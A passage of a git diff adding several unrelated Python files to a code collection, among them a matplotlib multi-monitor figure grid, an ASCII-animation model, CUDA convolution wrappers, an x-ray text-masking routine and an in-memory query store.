better_repr(v[0]) + return "[%s]" % ", ".join(better_repr(i) for i in v) + # TODO: elif deal with sets and dicts + else: + return repr(v) diff --git a/pool/shard008/Python/0078405_iterator.py b/pool/shard008/Python/0078405_iterator.py new file mode 100644 index 0000000000000000000000000000000000000000..b85cdad773abf1cca601ffa644ac78889e0b398f --- /dev/null +++ b/pool/shard008/Python/0078405_iterator.py @@ -0,0 +1,37 @@ +#coding: UTF-8 + +import sys + +if len(sys.argv) != 4: + print("Usage: % {0} filename from_number to_number".format(sys.argv[0])) + quit() + +targetFile = sys.argv[1] +fromNum = int( sys.argv[2] ) +toNum = int( sys.argv[3] ) + +try: + fileObject = open( targetFile, "r" ) +except: + print("cannot open: {0}".format(targetFile)) + quit() +else: + lines = fileObject.readlines() + fileObject.close() + +for cnt in range(fromNum, toNum+1): + for str in lines: + while True: + startPos = str.find(r"${CNT:") + if startPos == -1: + print(str, end="") + break + else: + print(str[:startPos], end="") + endPos = str.find(r"}", startPos+1) + formatStr = "{0:" + str[startPos+6:endPos] + "}" + print(formatStr.format(cnt), end="") + str = str[endPos+1:] + +quit() + diff --git a/pool/shard008/Python/0078406_matplotgrid.py b/pool/shard008/Python/0078406_matplotgrid.py new file mode 100644 index 0000000000000000000000000000000000000000..b423af98dc6e7d7207dc08254d59fa345181ef8c --- /dev/null +++ b/pool/shard008/Python/0078406_matplotgrid.py @@ -0,0 +1,262 @@ +# -*- coding: utf-8 -*- +""" +Created on Fri Dec 04 22:39:16 2015 + +@author: H.Gens +""" +import matplotlib.pyplot as plt +from screeninfo import get_monitors + + + +class GridCreator(object): + """ + Defines a class that creates a grid of matplotlib figures. See + docstring of GridCreator.__init__() for argument descriptions. + """ + + def __init__(self, rows=3, cols=6, monitor_start=0, prop={}): + """ + Initializes the grid. + + 'rows' is the number of rows in the grid. It can also be + thought of as the number of figures in one column. + + 'cols' is the number of columns in the grid. It can also be + thought of as the number of figures in one row. + + 'monitor_start' is either a list of indicies or a single + integer index. The values correspond to the positions within + the list returned by the get_monitors() function. If it's a + list, then these are the monitors to use. If it's an integer, + this is the monitor where the figure grid begins. The grid + grows toward larger indexed monitors and then wraps back + around. + + 'prop' is a dict that provides minor tweaks to how figure + dimensions are calculated. The defaults should be sufficient + for most cases. It describes the OS-dependent container + (titlebar, borders) drawn around each window. It also + describes the Windows Start Menu placement/dimensions, which + are used to ensure the grid's figures aren't obscured by the + Start Menu. + """ + # Argument validation. + self.monitors = GridCreator.validate_inputs( + cols, rows, monitor_start + ) + self.rows = rows + self.cols = cols + + # Each window has an OS-dependent container that occupies + # space. This must be accounted for when creating the figure. + # The values below are appropriate for the Windows 7 Aero theme + # and are in pixels. + self.container_x_left = prop.get('container x left', 8) + self.container_x_right = prop.get('container x right', 8) + self.container_y_top = prop.get('container y top', 30) + self.container_y_bot = prop.get('container y bot', 8) + # Height of the Windows 7 start menu in pixels. This portion + # of the monitor is considered unavailable and assumed located + # at the bottom of the monitor. What is that? You have it + # located somewhere else? YOU'RE CRAZY! + self.start_menu_y = prop.get('start menu y', 36) + + + @staticmethod + def validate_figures(figures): + """ + This function validates the argument to create(). It also + redefines the 'figures' arg if it's not a list. + """ + # 'figures' must be an integer or a list of integers. + error_string = 'figures arg must be integers or list of integers' + if isinstance(figures, int): + figures = range(1, figures + 1) + elif isinstance(figures, list) or isinstance(figures, tuple): + if len(figures) == 0: + raise ValueError(error_string) + for value in figures: + if not isinstance(value, int): + raise ValueError(error_string) + else: + raise ValueError(error_string) + return figures + + + @staticmethod + def validate_inputs(rows, cols, monitor_start): + """ + This function validates the arguments to __init__(). It also + returns a sorted 'monitors' list containing monitor details. + """ + # Get the monitor information from screeninfo.get_monitors(). + monitors = get_monitors() + # It's necessary to sort the result so that the far left monitor is + # positioned first. + monitors = sorted(monitors, key=lambda monitor: monitor.x) + + # 'rows', 'cols' must be real, positive numbers. + if isinstance(rows, int) or isinstance(rows, float): + if rows < 1: + raise ValueError('rows arg must be greater than unity') + else: + raise ValueError('rows arg must be a numeric') + if isinstance(cols, int) or isinstance(cols, float): + if cols < 1: + raise ValueError('cols arg must be greater than unity') + else: + raise ValueError('cols arg must be a numeric') + + # 'monitor_start' must be a single integer or a list of integers. + error_string = ( + 'monitor_start arg must be an integer or list of integers' + ) + if isinstance(monitor_start, int): + if monitor_start > len(monitors) - 1: + error_string = ( + 'only %d monitors detected but monitor_start says to ' + 'start on monitor %d' % (len(monitors), monitor_start + 1) + ) + raise ValueError(error_string) + elif isinstance(monitor_start, list) or \ + isinstance(monitor_start, tuple): + if len(monitor_start) == 0: + raise ValueError(error_string) + for value in monitor_start: + if not isinstance(value, int): + raise ValueError(error_string) + elif value > len(monitors) - 1: + error_string = ( + 'only %d monitors detected but monitor_start contains ' + 'monitor %d' % (len(monitors), value + 1) + ) + raise ValueError(error_string) + else: + raise ValueError(error_string) + + # Rearrange or reduce the 'monitors' list depending on the value of + # 'monitor_start'. + if isinstance(monitor_start, int): + monitors = monitors[monitor_start: ] + monitors[0: monitor_start] + else: + monitors = [monitors[i] for i in monitor_start] + + return monitors + + + def close(self, figures=None): + """ + Closes open matplotlib windows by calling pyplot.close(). + + 'figures' is an integer, list of integers, or None. If an + integer, then that specific window is closed. If a list, then + all figures in that list are closed. If None, then all open + figures are closed. + """ + if figures is None: + plt.close('all') + return + + if isinstance(figures, int): + plt.close(figures) + return + + if isinstance(figures, list) or isinstance(figures, tuple): + for figure in figures: + if isinstance(figure, int): + plt.close(figure) + + + def create(self, figures): + """ + Creates a uniform grid of matplotlib figures across multiple + monitors, depending on how the class was initialized. + + If 'figures' is an integer, figures 1 through 'figures' are + created. Otherwise, 'figures' should be a list of integer + figure numbers. + """ + # Argument validation. + figures = GridCreator.validate_figures(figures) + + # Get the required instance variables. + rows = self.rows + cols = self.cols + monitors = self.monitors + container_x_left = self.container_x_left + container_x_right = self.container_x_right + container_y_top = self.container_y_top + container_y_bot = self.container_y_bot + start_menu_y = self.start_menu_y + + # Maximum number of figures per monitor. + max_fpm = rows * cols + + # Create each figure and figure out where it belongs. + for i, fig in enumerate(figures): + # Pivot to a new monitor if we've run out of space. The + # modulus expression sets monitor_index to [0, ..., N, 0, + # ..., N, 0, ...], where N is the length of 'monitors'. + # Without the modulus expression, 'monitor_index' would + # grow unchecked. + monitor_index = int(i / max_fpm) % len(monitors) + monitor = monitors[monitor_index] + + # Determine the dimensions of the figure within the given + # monitor. These dimensions are a function of the + # monitor's resolution. + monitor_res_x = monitor.width + monitor_res_y = monitor.height - start_menu_y + width = monitor_res_x / (cols * 1.0) + height = monitor_res_y / (rows * 1.0) + + # Compute the local figure number as if the other monitors + # didn't exist. This number is 0-indexed and varies from 0 + # to max_fpm-1. + fignum_local = i % max_fpm + + # Compute the current row and column to which the figure + # belongs. Together, these define the coordinates of the + # current figure. These variables are zero-indexed, and + # the (0, 0) position is in the top left corner of the + # monitor. + current_row = int(fignum_local / cols) + current_col = fignum_local - int(current_row * cols) + + # Get the monitor's origin, which is the top left corner of + # the monitor. + x, y = monitor.x, monitor.y + + # Calculate the x/y coordinates of the to-be-created + # window. The coordinates passed to setGeometry() are the + # top left corner of the window excluding the container. + x += current_col * width + container_x_left + y += current_row * height + container_y_top + + plt.figure(fig) + m = plt.get_current_fig_manager() + # Some notes about setGeometry(): + # - x, y are not the true top left corner of the window. + # Instead, they indicate the top left corner of the + # inner, non-container window. + # - The window's container (e.g., titlebar) does not count + # towards the total requested width/height. The OS is + # responsible for adding the container. + m.window.setGeometry( + x, y, + width - (container_x_left + container_x_right), + height - (container_y_top + container_y_bot) + ) + + +# ------------------ +# standalone use +# ------------------ +if __name__ == '__main__': + figures = 8 + rows, cols = 2, 3 + plt.close('all') + + gc = GridCreator(rows, cols) + gc.create(figures) diff --git a/pool/shard008/Python/0078409_asciimation.py b/pool/shard008/Python/0078409_asciimation.py new file mode 100644 index 0000000000000000000000000000000000000000..4406b432d110172996f972597c8595d55a756601 --- /dev/null +++ b/pool/shard008/Python/0078409_asciimation.py @@ -0,0 +1,118 @@ +import codecs +import json + +class ASCIImation(object): + def __init__(self, font_family="courier new", font_size=12, + font_bold=False, speed=100, looped=True, size=[20, 10], + filename=None): + if filename is None: + self.font_family = font_family + self.font_size = font_size + self.font_bold = font_bold + self.speed = speed + self.looped = looped + self.size = size + self.frames = [] + else: + # Open and load the file + f = codecs.open(filename, 'rb', 'utf-8') + data = json.load(f) + f.close() + + # Get properties of the ASCIImation + self.font_family = data["style"]["family"] + self.font_size = int(data["style"]["size"]) + self.font_bold = True if data["style"]["weight"] == "bold" else \ + False + self.speed = int(data["speed"]) + self.looped = data["loop"] + self.size = [int(data["width"]), int(data["height"])] + self.frames = [] + + # Add all the frames + text = "" + repeat = 1 + foreground_color = "#000000" + background_color = "#ffffff" + for frame in data["content"]: + if "text" in frame: + text = frame["text"] + if "repeat" in frame: + repeat = int(frame["repeat"]) + if "fontColor" in frame: + foreground_color = str(frame["fontColor"]) + if "backgroundColor" in frame: + background_color = str(frame["backgroundColor"]) + self.frames.append(Frame( + text=text, + repeat=repeat, + foreground_color=foreground_color, + background_color=background_color + )) + + def __getitem__(self, key): + if key < 0 or key > len(self): + raise IndexError("Index outside length of ASCIImation") + current_frame = 0 + while key >= self.frames[current_frame].repeat: + key -= self.frames[current_frame].repeat + current_frame += 1 + return self.frames[current_frame] + + def __len__(self): + length = 0 + for f in self.frames: + length += f.repeat + return length + + def __str__(self): + # Construct a dict from this ASCIImation to convert to JSON + ascii_dict = {} + ascii_dict["style"] = {} + ascii_dict["style"]["family"] = self.font_family + ascii_dict["style"]["size"] = self.font_size + ascii_dict["style"]["weight"] = "bold" if self.font_bold else "normal" + ascii_dict["style"]["lineHeight"] = "120%" + ascii_dict["style"]["color"] = "#000000" + ascii_dict["style"]["backgroundColor"] = "#FFFFFF" + + ascii_dict["speed"] = self.speed + ascii_dict["loop"] = self.looped + ascii_dict["width"] = self.size[0] + ascii_dict["height"] = self.size[1] + + ascii_dict["content"] = [] + f_prev = None + for f in self.frames: + ascii_dict["content"].append({"text": f.text}) + + if f_prev is None or f.repeat != f_prev.repeat: + ascii_dict["content"][-1]["repeat"] = f.repeat + if f_prev is None or f.foreground_color != f_prev.foreground_color: + ascii_dict["content"][-1]["fontColor"] = f.foreground_color + if f_prev is None or f.background_color != f_prev.background_color: + ascii_dict["content"][-1]["backgroundColor"] = \ + f.background_color + + f_prev = f + + ascii_dict["metadata"] = {} + ascii_dict["metadata"]["duration"] = len(self) + ascii_dict["metadata"]["frames"] = len(self.frames) + + return json.dumps(ascii_dict, separators=(',',':')) + +class Frame(object): + def __init__(self, text="", repeat=1, foreground_color="#000000", + background_color="#ffffff"): + self.text = text + self.repeat = repeat + self.foreground_color = foreground_color + self.background_color = background_color + + def __str__(self): + s = "repeat: {0}\n".format(self.repeat) + s += "foreground_color: {0}\n".format(self.foreground_color) + s += "background_color: {0}\n".format(self.background_color) + s += self.text + return s diff --git a/pool/shard008/Python/0078419_gen_shusu.py b/pool/shard008/Python/0078419_gen_shusu.py new file mode 100644 index 0000000000000000000000000000000000000000..4afa6c443e1e4c3cf37578e3901cd8be6ed79936 --- /dev/null +++ b/pool/shard008/Python/0078419_gen_shusu.py @@ -0,0 +1,28 @@ +# -*- coding:utf8 -*- + +def _odd_iter(): # 生成奇数数列 + n = 1 + + while True: + n = n + 2 + yield n + +def _not_divisible(n): + return lambda x: x % n > 0 + +def primes(): + yield 2 + + it = _odd_iter() + + while True: + n = next(it) + yield n + it = filter(_not_divisible(n),it) + + +for n in primes(): + if n < 1000: + print(n) + else: + break diff --git a/pool/shard008/Python/0078422_converter_kernellocallylinearembedding_modular.py b/pool/shard008/Python/0078422_converter_kernellocallylinearembedding_modular.py new file mode 100644 index 0000000000000000000000000000000000000000..69df5764683980b8e6f7e11ec59881ccedcab184 --- /dev/null +++ b/pool/shard008/Python/0078422_converter_kernellocallylinearembedding_modular.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python +data = '../data/fm_train_real.dat' +parameter_list = [[data,20],[data,30]] + +def converter_kernellocallylinearembedding_modular (data_fname,k): + try: + from modshogun import RealFeatures, KernelLocallyLinearEmbedding, LinearKernel, CSVFile + + features = RealFeatures(CSVFile(data_fname)) + + kernel = LinearKernel() + + converter = KernelLocallyLinearEmbedding(kernel) + converter.set_target_dim(1) + converter.set_k(k) + converter.apply(features) + + return features + except ImportError: + print('No Eigen3 available') + +if __name__=='__main__': + print('KernelLocallyLinearEmbedding') + converter_kernellocallylinearembedding_modular(*parameter_list[0]) + diff --git a/pool/shard008/Python/0078425_cudamat_conv.py b/pool/shard008/Python/0078425_cudamat_conv.py new file mode 100644 index 0000000000000000000000000000000000000000..a212bf69fe85b156aa4b43a8143c1538eafd1cdc --- /dev/null +++ b/pool/shard008/Python/0078425_cudamat_conv.py @@ -0,0 +1,181 @@ +import ctypes as ct +import math +import pdb +_ConvNet = ct.cdll.LoadLibrary('libcudamat_conv.so') + +def convUp(images, filters, targets, numModulesX, paddingStart, moduleStride, numImgColors, numGroups=1): + """ + images - (n_images, img_w**2 * n_chans) + filters - (n_filters, filter_w**2 * n_chans) + targets - (n_images, n_locs**2 * n_filters) + numModulesX - Number of filter locations along an axis. = n_locs + paddingStart - Set to k for a k-pixel border of zeros. Usually set to 0. + moduleStride - stride to move the filters by. + numImgColors - n_chans + """ + numImages = images.shape[0] + numFilters = filters.shape[0] + + assert targets.shape == (numImages, numFilters * numModulesX * numModulesX), '%s %d %d-%d-%d' % (targets.shape.__str__(), numImages, numFilters, numModulesX, numModulesX) + + _ConvNet.convUp(images.p_mat, filters.p_mat, targets.p_mat, numModulesX, + -paddingStart, moduleStride, numImgColors, numGroups) + +def convDown(hidSums, filters, targets, numModulesX, paddingStart, moduleStride, filterSizeX, imSizeX, numImgColors): + """ + hidSums - (n_images, n_locs**2 * n_filters) + filters - (n_filters, filter_w**2 * n_chans) + targets - (n_images, img_w**2 * n_chans) + """ + numGroups = 1 + numFilters = filters.shape[0] + numImages = hidSums.shape[0] + numModules = numModulesX**2 + + assert paddingStart >= 0 + assert targets.shape == (numImages, numImgColors * imSizeX * imSizeX) + + _ConvNet.convDown(hidSums.p_mat, filters.p_mat, targets.p_mat, imSizeX, + -paddingStart, moduleStride, numImgColors, numGroups) + + +def convOutp(images, hidSums, targets, numModulesX, paddingStart, filterSizeX, moduleStride, numImgColors): + """ + images - (n_images, img_w**2 * n_chans) + hidSums - (n_images, n_locs**2 * n_filters) + targets - (n_filters, filter_w**2 * n_chans) + """ + numGroups = 1 + partialSum = 0 + numImages = images.shape[0] + numFilters = hidSums.shape[1] / (numModulesX**2) + + assert targets.shape == (numFilters, numImgColors * filterSizeX * filterSizeX), '%s %d %d-%d-%d' % (targets.shape.__str__(), numFilters, numImgColors, filterSizeX, filterSizeX) + _ConvNet.convOutp(images.p_mat, hidSums.p_mat, targets.p_mat, numModulesX, filterSizeX, -paddingStart, moduleStride, numImgColors, 1, 0) + +def localUp(images, filters, targets, numModulesX, paddingStart, moduleStride, numImgColors, numGroups=1): + """ + images - (n_images, img_w**2 * n_chans) + filters - (n_filters, filter_w**2 * n_chans) + targets - (n_images, n_locs**2 * n_filters) + numModulesX - Number of filter locations along an axis. = n_locs + paddingStart - Set to k for a k-pixel border of zeros. Usually set to 0. + moduleStride - stride to move the filters by. + numImgColors - n_chans + """ + numImages = images.shape[0] + numFilters = filters.shape[0] + + assert targets.shape == (numImages, numFilters * numModulesX * numModulesX), '%s %d %d-%d-%d' % (targets.shape.__str__(), numImages, numFilters, numModulesX, numModulesX) + + _ConvNet.localUp(images.p_mat, filters.p_mat, targets.p_mat, + numModulesX, -paddingStart, moduleStride, numImgColors, numGroups) + +def localDown(hidSums, filters, targets, numModulesX, paddingStart, moduleStride, filterSizeX, imSizeX, numImgColors): + """ + hidSums - (n_images, n_locs**2 * n_filters) + filters - (n_filters, filter_w**2 * n_chans) + targets - (n_images, img_w**2 * n_chans) + """ + numGroups = 1 + numFilters = filters.shape[0] + numImages = hidSums.shape[0] + numModules = numModulesX**2 + + assert paddingStart >= 0 + assert targets.shape == (numImages, numImgColors * imSizeX * imSizeX) + + _ConvNet.localDown(hidSums.p_mat, filters.p_mat, targets.p_mat, + imSizeX, -paddingStart, moduleStride, numImgColors, numGroups) + + +def localOutp(images, hidSums, targets, numModulesX, paddingStart, filterSizeX, moduleStride, numImgColors): + """ + images - (n_images, img_w**2 * n_chans) + hidSums - (n_images, n_locs**2 * n_filters) + targets - (n_filters, filter_w**2 * n_chans) + """ + numGroups = 1 + partialSum = 0 + numImages = images.shape[0] + numFilters = hidSums.shape[1] / (numModulesX**2) + + assert targets.shape == (numFilters, numModulesX**2 * numImgColors * filterSizeX**2), '%s %d %d-%d-%d' % (targets.shape.__str__(), numFilters, numImgColors, filterSizeX, filterSizeX) + _ConvNet.localOutp(images.p_mat, hidSums.p_mat, targets.p_mat, + numModulesX, filterSizeX, -paddingStart, moduleStride, numImgColors, numGroups, partialSum) + + + +def MaxPool(images, targets, numChannels, subsX, startX, strideX, outputsX): + """ + images - (n_images, img_w**2 * n_chans) + numChannels - number of filter/color channels + subsX - width of pooling area + startX - pixel where pooling starts + strideX - stride + outputsX - number of pooling sites + """ + numImages = images.shape[0] + + assert targets.shape == (numImages, numChannels * outputsX * outputsX) + + _ConvNet.MaxPool(images.p_mat, targets.p_mat, + numChannels, subsX, startX, strideX, outputsX) + +def ProbMaxPool(images, rnd, targets, numChannels, subsX, startX, strideX, outputsX): + """ + images - (n_images, img_w**2 * n_chans) + rnd - (n_images, img_w**2 * n_chans) + numChannels - number of filter/color channels + subsX - width of pooling area + startX - pixel where pooling starts + strideX - stride + outputsX - number of pooling sites + """ + numImages = images.shape[0] + + assert targets.shape == (numImages, numChannels * outputsX * outputsX) + assert rnd.shape == images.shape + + _ConvNet.ProbMaxPool(images.p_mat, rnd.p_mat, targets.p_mat, + numChannels, subsX, startX, strideX, outputsX) + + +def MaxPoolUndo(images, targets, grad, maxes, + subsX, startX, strideX, outputsX): + """ + images - (n_images, img_w**2 * n_chans) + grad - (n_images, outputsX**2 * n_chans) cudamat of deltas/gradients of loss wrt layer outputs. + maxes - (n_images, outputsX**2 * n_chans) cudamat of layer outputs. + subsX - width of pooling area + startX - pixel where pooling starts + strideX - stride + outputsX - number of pooling sites + """ + assert targets.shape == images.shape + + _ConvNet.MaxPoolUndo(images.p_mat, grad.p_mat, maxes.p_mat, targets.p_mat, + subsX, startX, strideX, outputsX) + +def ResponseNorm(images, denoms, targets, numChannels, sizeX, addScale, powScale): + assert targets.shape == images.shape + assert targets.shape == denoms.shape + num_images = images.shape[0] + numpixels = images.shape[1] / numChannels + imgsize = int(math.sqrt(numpixels)) + #assert images.shape[1] == numChannels * numpixels + #assert imgsize * imgsize == numpixels + #pdb.setrace() + _ConvNet.ResponseNorm(images.p_mat, denoms.p_mat, targets.p_mat, + numChannels, sizeX, ct.c_float(addScale), + ct.c_float(powScale)) + +def ResponseNormUndo(outGrad, denoms, inGrad, acts, targets, numChannels, sizeX, + addScale, powScale): + assert targets.shape == outGrad.shape + assert targets.shape == denoms.shape + assert targets.shape == inGrad.shape + assert targets.shape == acts.shape + _ConvNet.ResponseNormUndo(outGrad.p_mat, denoms.p_mat, inGrad.p_mat, + acts.p_mat, targets.p_mat, numChannels, sizeX, + ct.c_float(addScale), ct.c_float(powScale)) diff --git a/pool/shard008/Python/0078432_crop_xray_vector.py b/pool/shard008/Python/0078432_crop_xray_vector.py new file mode 100644 index 0000000000000000000000000000000000000000..b149e9d5d453fe73322df6a1315fd7dc2ed434c9 --- /dev/null +++ b/pool/shard008/Python/0078432_crop_xray_vector.py @@ -0,0 +1,144 @@ +import numpy as np +from skimage import io +from skimage.color import rgb2grey +import cv2 +# import matplotlib.pyplot as plt +# import pylab + +# the RBG vector that we are testing against +####################################################################### +# NOTE: This would change if the main colour that you are looking for # +# is not yellow, however it does infact detect all colours it's just # +# better as using the dominant colour. # +####################################################################### +TEST_YELLOW = np.array([255, 245, 149]) +# some value greater that 0 so that we don't divide by zero +EPSILON = 0.001 + +def get_projection_mask_matrix(test_img): + '''Get a mask of the projection of the test RGB onto the original image. + Arguments: + test_img: The image to project the RGB vector onto. + Returns: + mask: Mask of RGB vector projected onto image. + ''' + test_red = np.array(test_img[:, :, 0], np.float32) + test_green = np.array(test_img[:, :, 1], np.float32) + test_blue = np.array(test_img[:, :, 2], np.float32) + norm_test = np.sqrt(test_red**2 + test_green**2 + test_blue**2) + norm_test[norm_test == 0] = EPSILON + norm_yellow = np.linalg.norm(TEST_YELLOW) + dot_prod = np.dot(TEST_YELLOW[0], test_red) + np.dot(TEST_YELLOW[1], test_green) + np.dot(TEST_YELLOW[2], test_blue) + + mask = dot_prod/(norm_test * norm_yellow) * 255 + return np.array(mask, np.uint8) + +def get_mask(img): + '''Performs different morphological operations on the image and returns + each result in a vector of images. + Arguments: + img: Original x-ray image. + Returns: + closing: Result after performing closing operation on the projection mask + with threshold at 0. + closing_ocr: Result after performing closing on the colour text only, + with threshold at 254. + dilated_ocr: Result after performing dilation on the closing_ocr image. + ''' + mask = get_projection_mask_matrix(img) +# plt.hist(mask.flatten(), bins=256) #, range=(0.0, 1.0), fc='k', ec='k') +# plt.ylabel('Number of pixels') +# plt.xlabel('Pixel intensity values') +# # plt.ylabel('Histogram of number of pixels in x-ray at different intensity values') +# pylab.savefig('hist.png') + closing_ocr = mask.copy() + # 245-250 is where all the gray sits + mask[np.where(np.logical_and(mask > 245, mask < 250))] = 0 + # perform closing on mask + mask[mask > 0] = 255 + kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (5, 5)) + closing = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, kernel, iterations=1) + # select only values that are yellow + closing_ocr[closing_ocr < 254] = 0 + kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (2, 2)) + closing_ocr = cv2.morphologyEx(closing_ocr, cv2.MORPH_CLOSE, kernel, iterations=1) + closing_ocr[closing_ocr > 0] = 255 + # dilate mask + dilated_ocr = closing_ocr.copy() + kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (2, 2)) + dilated_ocr = cv2.dilate(dilated_ocr, kernel, iterations=1) + dilated_ocr = cv2.morphologyEx(dilated_ocr, cv2.MORPH_OPEN, kernel, iterations=1) + + return [closing, closing_ocr, dilated_ocr] + +def hide_names_mask(mask): + '''Simple thresholding still has the text as visible, so this function + dilates the image to the point where the original text is unrecognisable. + Arguments: + mask: Image obtained from projection. + Returns: + mask: Masked image after performing a dilation on the mask. + ''' + # expand the mask so it completely hides the names + kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (9, 9)) + return cv2.dilate(mask, kernel, iterations=3) + +def get_extracted_img(no_text): + '''Crops only the x-ray from the image. + Arguments: + no_text: Image that now has the text removed. + Returns: + new_image: Croped x-ray image. + ''' + # find the largest box and extract it + _, contours, _ = cv2.findContours(np.uint8(255*rgb2grey(255*np.uint8(no_text > 15))), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE) + biggestContourIndex = np.argmax(list(map(cv2.contourArea, contours))) + + x_min, y_min, w, h = cv2.boundingRect(contours[biggestContourIndex]) + x_max = x_min + w + y_max = y_min + h + new_image = no_text[y_min:y_max, x_min:x_max] + return new_image + +def get_only_text(mask, raw_img): + '''Masks off everything from the original image other than text. + Arguments: + mask: Mask that highlights text. + raw_img: Original image. + Returns: + raw_img: Original image with text masked off. + ''' + # extract only the text (in RGB) from the image + mask = mask/255 + for i in range(3): + raw_img[:, :, i] = raw_img[:, :, i] * mask + return raw_img + +def run_system(img_name, proc_type='inpaint'): + '''Wraps all functionality for image processing into a single function. + Arguments: + img_name: Path to image of interest. + proc_type: Type of processing to perform. + Returns: + new_image: Cropped and processed image. + all_images: Vector of all images to be used for OCR. + ''' + img = io.imread(img_name) + # get image mask + all_images = get_mask(img) + # inpaint image or masking out the text + if proc_type == 'inpaint': + no_text = cv2.inpaint(img, all_images[0], 3, cv2.INPAINT_NS) + elif proc_type == 'mask': + all_images[0] = hide_names_mask(all_images[0]) + all_images[0] = np.array((255 - all_images[0])/255, np.uint8) + no_text = img.copy() + no_text[:, :, 0] = np.array(no_text[:, :, 0] * all_images[0], np.uint8) + no_text[:, :, 1] = np.array(no_text[:, :, 1] * all_images[0], np.uint8) + no_text[:, :, 2] = np.array(no_text[:, :, 2] * all_images[0], np.uint8) + # get biggest blob + new_image = get_extracted_img(no_text) + yellow_img = get_only_text(all_images[1], img) + all_images[0] = yellow_img + + return new_image, all_images diff --git a/pool/shard008/Python/0078435_python.py b/pool/shard008/Python/0078435_python.py new file mode 100644 index 0000000000000000000000000000000000000000..06cb72f0ba0b18115846b91eedfc1909cf90277b --- /dev/null +++ b/pool/shard008/Python/0078435_python.py @@ -0,0 +1,184 @@ +import operator + +from . import base +from .. import query +from .. import models +from .. import store +from .. import exceptions +from .. import lookups +from .. import utils +from .. import managers + + +def get_wrapper(query, hints): + inverted = query.inverted + subqueries = [ + QueryImpl(subquery, hints=hints) + for subquery in query.subqueries] + + if query.operator == 'AND': + matcher = all + else: + matcher = any + + def wrapper(obj): + result = matcher((q(obj) for q in subqueries)) + if inverted: + return not result + return result + return wrapper + + +class QueryImpl(object): + + def __init__(self, base_query, hints): + self.base_query = base_query + self.hints = hints + self.test = self.setup_test() + + def setup_test(self): + try: + # query wrapper + return get_wrapper(self.base_query, hints=self.hints) + except AttributeError: + # Leaf query + lookup = self.base_query.lookup + inverted = self.base_query.inverted + soft_fail = self.hints.get( + 'permissive', + self.base_query.path_kwargs.get('soft_fail', False)) + def leaf_query(obj): + value = store.path_to_value(obj, self.base_query.path, soft_fail=soft_fail) + result = lookup.lookup(value) + if inverted: + return not result + return result + return leaf_query + + def __call__(self, obj): + return self.test(obj) + + +class PythonManager(managers.Manager): + + def match(self, query, obj): + compiled_query = QueryImpl(query) + return compiled_query(obj) + + +class IterableStore(store.Store): + manager_class = PythonManager + + def __init__(self, values, *args, **kwargs): + self.values = values + super(IterableStore, self).__init__(*args, **kwargs) + + def get_default_adapter(self, model): + return None + + + def get_values(self, query): + compiled_filters = None + if query.filters: + compiled_filters = QueryImpl(query.filters, hints=query.hints) + + if not compiled_filters: + for obj in self.values: + yield obj + else: + for obj in self.values: + if compiled_filters(obj): + yield obj + # return filter(self.query, self._iter_data) + + def select_single(self, iterator): + first_match = None + for match in iterator: + # Little hack to avoid looping over the whole results set + if not first_match: + first_match = match + continue + raise exceptions.MultipleObjectsReturned() + + if not first_match: + raise exceptions.DoesNotExist() + + return first_match + + def handle_exists(self, query, model): + iterator = self.handle_select(query.clone(orderings=None), model) + for row in iterator: + return True + return False + + def handle_count(self, query, model): + return len(list(self.handle_select(query.clone(orderings=None), model))) + + def handle_select(self, query, model): + + iterator = self.get_values(query) + + if query.hints.get('force_single', False): + return [self.select_single(iterator)] + if query.orderings: + random_value = lambda v: random.random() + + for ordering in reversed(query.orderings): + # We loop in reverse order because we found no other way to handle multiple sorting + # in different directions right now + + if ordering.random: + iterator = sorted(iterator, key=random_value) + continue + l = lambda v: store.path_to_value(v, ordering.path) + iterator = sorted(iterator, key=l, reverse=ordering.reverse) + + if query.hints.get('distinct', False): + iterator = utils.unique_everseen(iterator) + if query.window: + return list(iterator)[query.window.as_slice()] + return iterator + + def handle_values(self, query, model): + return self.handle_select(query, model) + + def collect_values(self, data, aggregates): + r = {} + for row in data: + for key, aggregate in aggregates: + l = r.setdefault(key, []) + l.append(store.path_to_value(row, aggregate.path)) + return r + + def handle_aggregate(self, query, model): + data = self.handle_select(query, model) + values = self.collect_values(data, query.hints['aggregates']) + if query.hints.get('flat', False): + return [ + aggregate.aggregate(values[key]) + for key, aggregate in query.hints['aggregates'] + ] + return { + key: aggregate.aggregate(values[key]) + for key, aggregate in query.hints['aggregates'] + } + + +class DummyStore(store.Store): + """ + A dummy store that cannot understand / execute queries but instead + will cast results from source to model, then hand over the model instances + to an IterableStore + """ + + def load(self, model, adapter): + raise NotImplementedError + + def _execute(self, query, model, adapter, raw=False): + """ + We have to override this because in some situation + (such as with Filebackend, or any dummy backend) + we have to parse / adapt results *before* when can execute the query + """ + values = self.load(model, adapter) + return IterableStore(values=values)._execute(query, model=model, adapter=None, raw=raw) diff --git a/pool/shard008/Python/0078437_test_file.py b/pool/shard008/Python/0078437_test_file.py new file mode 100644 index 0000000000000000000000000000000000000000..9997fb42b115a16ddc3b205c150b6eadc85ab0fc --- /dev/null +++ b/pool/shard008/Python/0078437_test_file.py @@ -0,0 +1,100 @@ +# Copyright (c) 2014, Facebook, Inc. All rights reserved. +# +# This source code is licensed under the BSD-style license found in the +# LICENSE file in the root directory of this source tree. An additional grant +# of patent rights can be found in the PATENTS file in the same directory. +# +from sparts.fileutils import NamedTemporaryDirectory +from sparts.tests.base import SingleTaskTestCase +from sparts.tasks.file import DirectoryWatcherTask +from shutil import rmtree + +import errno +import os.path + + +class MyTask(DirectoryWatcherTask): + def __init__(self, *args, **kwargs): + super(MyTask, self).__init__(*args, **kwargs) + self.onFileCreated = self.service.test.mock.Mock() + self.onFileDeleted = self.service.test.mock.Mock() + self.onFileChanged = self.service.test.mock.Mock() + +class TestMyTask(SingleTaskTestCase): + TASK = MyTask + + def setUp(self): + self.testpath = NamedTemporaryDirectory() + MyTask.PATH = self.testpath.name + MyTask.INTERVAL = 0.25 + super(TestMyTask, self).setUp() + self.task.execute() + + def tearDown(self): + self.testpath.close() + super(TestMyTask, self).tearDown() + + def test_file_create(self): + fn = self.testpath.join('foo') + with open(fn, mode='w'): + pass + os.utime(fn, None) + self.task.execute() + self.assertTrue(self.task.onFileCreated.called) + self.assertEqual(self.task.onFileCreated.call_count, 1) + 